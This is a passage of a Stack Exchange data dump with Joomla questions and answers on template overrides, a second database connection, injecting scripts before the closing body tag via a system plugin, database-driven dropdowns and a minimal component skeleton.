  <row Id="22156" PostTypeId="1" CreationDate="2017-12-24T05:32:12.933" Score="5" ViewCount="225" Body="&lt;p&gt;I have a template from a provider in which they've included a new content type and a com_content override. The template is a quick install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to find out&#xA;- what files have been added by template/extension developer in addition to the Joomla Core CMS&#xA;- what files have been modified and how they've been modified&#xA;- compare the the databases for differences&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also using PHP Storm (to which I'm brand new to).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I can compare these difference, I'm 95% confident I can clone the extension (I want to keep using the original as is), and then make some slight customizations to run virtually a clone of the same extension, but with the desired modifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I approach comparing the differences in files and db using the tools with PHP Storm (and also any tools you may recommend).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm interested, in this answer as reverse-engineering process, which I can describe as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You get a 3rd party template that has added some extensions and created som core overrides.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You need to reverse-engineer what those changes were (include any&#xA;modifications to the DB)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You download a clean Joomla 3.x.x and the Template Quickstart and unpack them into 2 separate project folders (repositories 3).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You then 'x' method to compare the differences.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As for making the actual specific modifications required, that's beyond the scope of this question - I'm looking to get a good methodology for #4 above, the rest is just putting this question in context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have PHP Storm and Git HUB - are these tools sufficient? How I do step 3 above?&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2017-12-27T04:09:41.133" Title="How to reverse-engineer a 3rd party Joomla extension to clone it and to be able to make modifications to it?" Tags="|joomla-3.x|development|extensions|development-tool|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22157" PostTypeId="2" ParentId="22156" CreationDate="2017-12-24T07:07:29.297" Score="5" Body="&lt;p&gt;Normally a template should deal with the layout and the presentational elements. Having said that, I have to say that I haven't seen any template (including quickstart packages) coming with modifications on the core database in my whole career working with Joomla, and I don't think there should be any template - unless the package has been developed by amateurish developers. Well-known providers wouldn't do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we wipe-out db modifications from the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What a template may include is template-overrides. These usually relate to some core components and modules and contain html modifications required to achieve the layout/design of the given template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The common location to find such overrides is the html folder that resides inside the template's folder (unless the template or framework uses a more advanced overriding system - in such cases consult the template's documentation in order to locate the overrides folder and the mechanism of how the overrides are implemented). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each core component/module or other core layout, you will find the corresponding folder. For example for the com_content component, there will be a &lt;code&gt;com_content&lt;/code&gt; folder inside the &lt;code&gt;html&lt;/code&gt; folder. For the menu module, there will be a &lt;code&gt;mod_menu&lt;/code&gt; and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then for components there will be more folders for each view that are overridden -e.g. for com_content there should be folders like: &lt;code&gt;article&lt;/code&gt;, &lt;code&gt;category&lt;/code&gt;, etc - and then inside each of these folder the actual template file (tmpl) that is the override. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to know what the modifications are among the core and the overridden files, then a files comparison tool will do the job. &lt;a href=&quot;https://sourcegear.com/diffmerge/&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;DiffMerge&lt;/strong&gt;&lt;/a&gt; is a cross platform app that I know and can do the job pretty well. GitHub could also be used.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-12-24T07:07:29.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22159" PostTypeId="2" ParentId="21767" CreationDate="2017-12-25T13:57:39.650" Score="1" Body="&lt;p&gt;&lt;strong&gt;I had no chance yet to test it, but it can work for you.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You can link and make another DataBase as &quot;Slave&quot;.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1: First setup your connection options:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$option['driver'] = 'MySQLi';&#xA;$option['host'] = 'localhost';&#xA;$option['user'] = 'root';&#xA;$option['password'] = '';&#xA;$option['database'] = 'joomla_slave';&#xA;$option['prefix'] = 'xxxx_';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2: Now make instance of &lt;code&gt;JDatabase&lt;/code&gt; with connection option:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db_slave = &amp;amp; JDatabase::getInstance($option);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 3: Setup error handling:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( JError::isError($db_slave) ) {&#xA;            jexit('Database Error: ' . $db_slave-&amp;gt;toString() );&#xA;}&#xA;if ($db_slave-&amp;gt;getErrorNum() &amp;gt; 0) {&#xA;            JError::raiseError(500, 'JDatabase::getInstance: Could not connect to database &amp;lt;br /&amp;gt;');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 4: Use the object and combine queries from your Master &amp;amp; Slave DataBase:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db_master = &amp;amp; JFactory::getDbo();&#xA;$query = 'SELECT * FROM `#__users`';&#xA;$db_master-&amp;gt;setQuery( $query );&#xA;$rows = $db_master-&amp;gt;loadObjectList();             &#xA;echo '&amp;lt;pre&amp;gt;';&#xA;print_r($rows);&#xA;echo '&amp;lt;/pre&amp;gt;';&#xA;echo '------------------------------';&#xA;$query = 'SELECT * FROM `#__users`';&#xA;$db_slave-&amp;gt;setQuery( $query );&#xA;$rows = $db_slave-&amp;gt;loadObjectList();                &#xA;echo '&amp;lt;pre&amp;gt;';&#xA;print_r($rows);&#xA;echo '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Replace &quot;echo&quot; with &quot;return&quot; if use in fabrik Forms/Elements.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="12052" LastActivityDate="2017-12-25T13:57:39.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22160" PostTypeId="2" ParentId="17545" CreationDate="2017-12-26T05:50:47.937" Score="2" Body="&lt;p&gt;I have made various apps in Fabrik like payrolls, CRM etc. I have also done what you have asked &quot;&lt;strong&gt;database for company with clients, cases etc&lt;/strong&gt;&quot; in fabrik only. You have to dive into deep in case of Fabrik, because Fabrik is not what people expect a drag and drop application builder. It is full custom application builder providing full feature to interact with your any other joomla components like K2, virtuemart etc by creating forms using their existing tables. The other important thing I like in Fabrik, you can schedule your email, custom queries by using cron feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get simple forms every where but no feature of ajax elements requesting updated data on the fly like in Fabrik.&lt;/p&gt;&#xA;" OwnerUserId="12052" LastActivityDate="2017-12-26T05:50:47.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22161" PostTypeId="2" ParentId="22156" CreationDate="2017-12-27T04:09:41.133" Score="1" Body="&lt;p&gt;@FFrewin is spot on with his comments about template overrides.&lt;br&gt;&#xA;However, if you really think other files have been modified, you might get a security component like RSFirewall that has hashes to compare all files to core Joomla.  Running its system scan will give you a list of modified files.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2017-12-27T04:09:41.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22163" PostTypeId="2" ParentId="22155" CreationDate="2017-12-27T18:25:40.900" Score="1" Body="&lt;p&gt;Override/Change the return values of the &lt;code&gt;getIgnoredSearchWords()&lt;/code&gt; and &lt;code&gt;getLowerLimitSearchWord()&lt;/code&gt; in &lt;code&gt;/language/en-GB/en-GB.localise.php&lt;/code&gt; (and any other &lt;code&gt;/language/&amp;lt;lang&amp;gt;/&amp;lt;lang&amp;gt;.localise.php&lt;/code&gt; file of active languages).&lt;/p&gt;&#xA;" OwnerUserId="9459" LastActivityDate="2017-12-27T18:25:40.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22167" PostTypeId="1" AcceptedAnswerId="22173" CreationDate="2017-12-28T03:12:36.397" Score="3" ViewCount="4088" Body="&lt;p&gt;I know this question is been asked again, but i tried their solution and it doesn't work so please don't rate it down. I have an authentication script (auth.js) that needs to be placed before the  tag, but even when I apply the solution offered in the topic, it is still added in the header file instead of the body file. Here is the existing code. I am using Gantry5:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document=JFactory::getDocument();&#xA;$document-&amp;gt;addScript('/templates/rt_kraken/js/auth.js', 'text/javascript',false,true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I am a beginner please explain thoroughly as I still don't have the reputation here to comment back hahahha&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also this the link on the previous post,I am trying to achieve the same exact thing as them: &lt;a href=&quot;https://joomla.stackexchange.com/questions/11051/load-javascript-script-before-body-closing-tag?rq=1&quot;&gt;Load javascript script before &amp;lt;/body&amp;gt; closing tag&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11999" LastActivityDate="2018-11-15T17:22:15.270" Title="How can I insert js scripts before &lt;/body&gt;" Tags="|joomla-3.x|javascript|gantry|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22168" PostTypeId="2" ParentId="22167" CreationDate="2017-12-28T06:44:08.963" Score="4" Body="&lt;p&gt;I think there are at least 4 options.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In gantry5 templates go extension&gt;templates, select your template, and on the page settings tab there is a textbox labeled &quot;Before &amp;lt;/body&amp;gt;&quot;.  This will be included on all frontend pages so if your need it only in some places you could use an assign a template outline.&lt;/li&gt;&#xA;&lt;li&gt;Use javascript to insert the script tag on page load. Might working depending on you auth script.&lt;/li&gt;&#xA;&lt;li&gt;Insert it directly into the template. This would be fine for those running their own template, but this doesn't apply to you, but y'know I want to be thorough.&lt;/li&gt;&#xA;&lt;li&gt;Do a string replace on the rendered html in a system plugin. See code below. I am assuming you're using Joomla 3.8 and also that you want to insert the auth code on all frontend html pages.  If the latter isn't true then just add some more conditions to the plugin as appropriate.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Gotchas&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Plugins run in the order that the plugins are ordered, hence if another plugin is using the same technique, it may insert code after yours. Also if you're using system page cache then your plugin will need to be before it so that your script gets inserted before the html is cached.  Hopefully that both makes sense and doesn't apply to your situation.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Code for a system plugin&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The php code for a suitable system plugin would be eg.&#xA;/plugins/system/scriptbeforebody/scriptbeforebody.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;class plgSystemScriptbeforebody extends JPlugin {&#xA;&#xA;  public function onAfterRender()&#xA;  {&#xA;      $app = JFactory::getApplication();&#xA;&#xA;      // only insert the script in the frontend&#xA;      if ($app-&amp;gt;isClient('site')) {&#xA;&#xA;          // retrieve all the response as an html string&#xA;          $html = $app-&amp;gt;getBody();&#xA;&#xA;          // replace the closing body tag with your scripts appending to the closing body tag&#xA;          $scripts = [&#xA;              '/templates/rt_kraken/js/auth.js',&#xA;              '/templates/rt_kraken/js/something-else.js',&#xA;          ];&#xA;&#xA;          $tags = &quot;&quot;;&#xA;          foreach($scripts as $s){&#xA;              $tags .= '&amp;lt;script src=&quot;' . $s . '&quot;&amp;gt;&amp;lt;/script&amp;gt;';&#xA;          }&#xA;&#xA;          $html = str_replace('&amp;lt;/body&amp;gt;',$tags . '&amp;lt;/body&amp;gt;',$html);&#xA;&#xA;          // override the original response&#xA;          $app-&amp;gt;setBody($html);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the accompanying manifest would be eg.&#xA;/plugins/system/scriptbeforebody/scriptbeforebody.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.8&quot; type=&quot;plugin&quot; group=&quot;system&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;Script Before Closing Body Tag&amp;lt;/name&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;Dec 2017&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;Hardcoded insertion of script tag into html response&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&quot;scriptbeforebody&quot;&amp;gt;scriptbeforebody.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To install either zip both files and use regular joomla extension installer, or upload to the paths specified and install using the administration &gt; extentions &gt; manage &gt; discover tool.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2017-12-29T01:55:58.203" LastActivityDate="2017-12-29T01:55:58.203" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22169" PostTypeId="2" ParentId="11051" CreationDate="2017-12-28T06:45:39.067" Score="0" Body="&lt;p&gt;If you've just landed here via google see answer to this question here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/22167/how-can-i-insert-js-scripts-before-body/22168&quot;&gt;How can I insert js scripts before &amp;lt;/body&amp;gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-12-28T06:45:39.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22170" PostTypeId="2" ParentId="22167" CreationDate="2017-12-28T13:59:28.677" Score="0" Body="&lt;p&gt;You can create a new custom HTML module and using the code editor add the text&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;/templates/rt_kraken/js/auth.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then put it in a module position and disable the title. The code will be placed in the position where the module would be displayed. Some templates have positions reserved for non-content data like Google analytics, which would be a good choice for this module.&lt;/p&gt;&#xA;" OwnerUserId="11803" LastActivityDate="2017-12-28T13:59:28.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22171" PostTypeId="1" CreationDate="2017-12-28T23:05:23.917" Score="1" ViewCount="60" Body="&lt;p&gt;When I have menu items (other than articles) and  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Page Display -&amp;gt; Show Page Heading = YES&#xA;Page Display -&amp;gt; Page Heading = BlaBlaBla....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do not see any Page Header. This works only if the menu item is an article!&#xA;Am I right and how to make appear Page Headers (with H1 tag) on any menu item (for any component)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: saw this code in this forum:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('show_page_heading', 1)) : ?&amp;gt;&#xA;&amp;lt;div class=&quot;page-header&quot;&amp;gt;&#xA;    &amp;lt;h1&amp;gt; &amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('page_heading')); ?&amp;gt; &amp;lt;/h1&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it didn't work.&lt;/p&gt;&#xA;" OwnerUserId="12058" LastActivityDate="2017-12-30T03:43:11.657" Title="For menu item other than article - won't show page header H1" Tags="|joomla-3.x|menu-item|header-tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22172" PostTypeId="2" ParentId="22171" CreationDate="2017-12-29T02:40:30.897" Score="1" Body="&lt;p&gt;Indeed it is up to each component to produce the display, and thus whether or not to include the page heading param from the menu item.  I have seen some templates also implement page titles too. You could of course make template overrides for all the component views, but I think that's a little impractical. If I was trying to get consistent menu param driven titles on every page for every component I would use a custom module and then hide all the headings I didn't wish to see.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2017-12-30T03:43:11.657" LastActivityDate="2017-12-30T03:43:11.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22173" PostTypeId="2" ParentId="22167" CreationDate="2017-12-29T06:28:20.240" Score="0" Body="&lt;p&gt;For gantry 5, extensions&gt;templates&gt;styles&gt; page settings &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just put whatever script you want eg for me :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;/templates/rt_kraken/js/auth.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you a lot though @jamesgarrett. I will definitely apply your approach in more advanced topics.&lt;/p&gt;&#xA;" OwnerUserId="11999" LastActivityDate="2017-12-29T06:28:20.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22174" PostTypeId="1" AcceptedAnswerId="22175" CreationDate="2017-12-29T21:03:31.977" Score="1" ViewCount="784" Body="&lt;p&gt;This is my code with a classic html dropdown with large list, and a button that executes the querry with the selected value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;form name=&quot;lista&quot; method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;&amp;lt;select id=&quot;broj&quot; name=&quot;name&quot;&amp;gt;                      &#xA;&amp;lt;option value=&quot;0&quot;&amp;gt;--Odaberi vrh--&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;1&quot;&amp;gt;Maglić&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;2&quot;&amp;gt;Vlasulja&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;3&quot;&amp;gt;Veliki Oštrikovac&amp;lt;/option&amp;gt;&#xA;...&#xA;&amp;lt;option value=&quot;73&quot;&amp;gt;Velika Lelija&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;74&quot;&amp;gt;Bregoč&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;75&quot;&amp;gt;Kozje strane&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;76&quot;&amp;gt;Cincar&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;SUBMIT&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;?php&#xA;$peak = $_POST['name'];&#xA;    if ($_SERVER['REQUEST_METHOD'] == 'POST')&#xA;    {&#xA;----querry with $peak&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is solution from @jamesgarrett where the dropdown menu is populated from the Joomla database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('peak_name');&#xA;$query-&amp;gt;from($db-&amp;gt;qn('#__peaks'));&#xA;$db-&amp;gt;setQuery($query);&#xA;$peaks_list = $db-&amp;gt;loadColumn();&#xA;&#xA;// you could just echo out as you go if you prefer, but instead here we build up the html as a single string.&#xA;$peaks_select  = '&amp;lt;select name=&quot;name&quot; id=&quot;peaks&quot;&amp;gt;';&#xA;$peaks_select .= '&amp;lt;option value=&quot;&quot;&amp;gt;-- Select Peak --&amp;lt;/option&amp;gt;';&#xA;&#xA;// here we use the peak_name for the value, whereas usually you set the value to the id of the table row. we're assuming there won't be any double quotes in these names.&#xA;foreach($peaks_list as $p){&#xA;    $peaks_select .= '&amp;lt;option value=&quot;' . $p . '&quot;&amp;gt;' . $p . '&amp;lt;/option&amp;gt;';  &#xA;}&#xA;$peaks_select .= '&amp;lt;/select&amp;gt;';&#xA;&#xA;echo $peaks_select;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I never succeeded to create the other part of the code with the button which will execute querry.&lt;/p&gt;&#xA;" OwnerUserId="11762" LastEditorUserId="11762" LastEditDate="2017-12-31T20:21:03.400" LastActivityDate="2018-01-01T04:30:26.197" Title="Populate the drop-down menu from the Joomla database" Tags="|dropdown|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22175" PostTypeId="2" ParentId="22174" CreationDate="2017-12-29T22:31:06.697" Score="4" Body="&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('peak_name');&#xA;$query-&amp;gt;from($db-&amp;gt;qn('#__peaks'));&#xA;$db-&amp;gt;setQuery($query);&#xA;$peaks_list = $db-&amp;gt;loadColumn();&#xA;&#xA;// you could just echo out as you go if you prefer, but instead here we build up the html as a single string.&#xA;$peaks_select  = '&amp;lt;select name=&quot;name&quot; id=&quot;peaks&quot;&amp;gt;';&#xA;$peaks_select .= '&amp;lt;option value=&quot;&quot;&amp;gt;-- Select Peak --&amp;lt;/option&amp;gt;';&#xA;&#xA;// here we use the peak_name for the value, whereas usually you set the value to the id of the table row. we're assuming there won't be any double quotes in these names.&#xA;foreach($peaks_list as $p){&#xA;    $peaks_select .= '&amp;lt;option value=&quot;' . $p . '&quot;&amp;gt;' . $p . '&amp;lt;/option&amp;gt;';  &#xA;}&#xA;$peaks_select .= '&amp;lt;/select&amp;gt;';&#xA;&#xA;&#xA;?&amp;gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;form name=&quot;lista&quot; method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;&amp;lt;?php echo $peaks_select; ?&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;SUBMIT&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;?php&#xA;$peak = $_POST['name'];&#xA;if ($_SERVER['REQUEST_METHOD'] == 'POST')&#xA;{&#xA;    // ----query with $peak&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2018-01-01T04:30:26.197" LastActivityDate="2018-01-01T04:30:26.197" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22176" PostTypeId="1" CreationDate="2017-12-30T00:38:07.100" Score="1" ViewCount="215" Body="&lt;p&gt;What is a basic/minimal skeleton structure on which to build a component without extending the Joomla MVC classes?  The skeleton should install and uninstall, not throw any errors, and be practically usable as a starting point for development.  Subquestions include: what J4 changes may effect such a skeleton? &amp;amp; what features does one lose, eg. template overrides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: You should not take such an approach unless you know what you are doing. This approach is especially not suitable for applications built for distribution. If you are a beginner you are better off following the component tutorial in the docs and then using component creator or some other approach to speed up development and follow best practice etc.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-01-29T01:27:56.387" Title="Minimal/Basic Structure for a frontend Joomla component without using Joomla MVC" Tags="|component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22177" PostTypeId="2" ParentId="22176" CreationDate="2017-12-30T00:45:00.117" Score="2" Body="&lt;p&gt;Here is my suggestion which I would install using discovery.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Doesn't include any Joomla access checks&lt;/li&gt;&#xA;&lt;li&gt;Doesn't allow any template overrides&lt;/li&gt;&#xA;&lt;li&gt;Doesn't allow for non-sef urls&lt;/li&gt;&#xA;&lt;li&gt;Doesn't allow for any JHtml built routes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;===================================================    &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Manifest&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Description: While it works to include the manifest in the frontend, if there is no administation file structure this does cause errors with uninstallion so I include the manifest there with an index.html file just to keep it company&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Location: /administator/components/com_minimal/minimal.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension type=&quot;component&quot; version=&quot;3.7.0&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;&#xA;    &amp;lt;name&amp;gt;Minimal&amp;lt;/name&amp;gt;&#xA;    &amp;lt;version&amp;gt;0.0.1&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;Testing Only&amp;lt;/description&amp;gt;&#xA;    &amp;lt;author&amp;gt;Minimal&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;Dec 2017&amp;lt;/creationDate&amp;gt;&#xA;&#xA;    &amp;lt;files folder=&quot;site&quot;&amp;gt;&#xA;        &amp;lt;filename&amp;gt;minimal.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;router.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;views&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&#xA;    &amp;lt;administration&amp;gt;&#xA;        &amp;lt;files folder=&quot;admin&quot;&amp;gt;&#xA;            &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;/files&amp;gt;&#xA;    &amp;lt;/administration&amp;gt;&#xA;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;===================================================&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Entry File&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Location: /components/com_minimal/minimal.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Description: Catches up to 5 url segments from the router, presumably one would inject whatever you want from joomla into your own code here&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;$max_segments = 5;&#xA;&#xA;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$segments = [];&#xA;for($i=0;$i&amp;lt;$max_segments;$i++){&#xA;    $segments[] = $jinput-&amp;gt;get('segment'.$i,'','CMD');&#xA;}&#xA;&#xA;// load your own custom php application here&#xA;echo &quot;&amp;lt;pre&amp;gt;&quot; . print_r($segments,1) . &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;===================================================&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Router&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Location: /components/com_minimal/router.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Description: splits the url segments into input variables starting from the component base menu item , ie. /menu-item/{segment0}/{segment1} etc. The build method is required to exist but is not used.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;Class MinimalRouter extends JComponentRouterBase&#xA;{&#xA;    public function build(&amp;amp;$query)&#xA;    {&#xA;        return;&#xA;    }&#xA;&#xA;    public function parse(&amp;amp;$segments)&#xA;    {&#xA;        $vars = [];&#xA;        foreach($segments as $i =&amp;gt; $s){&#xA;            $vars['segment' . $i] = $s;            &#xA;        }&#xA;        return $vars;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;===================================================&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Default Menu Item&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Location: /components/com_minimal/views/minimal/tmpl/default.xml&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Description: Provides a Menu Item Type to point to the component.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; 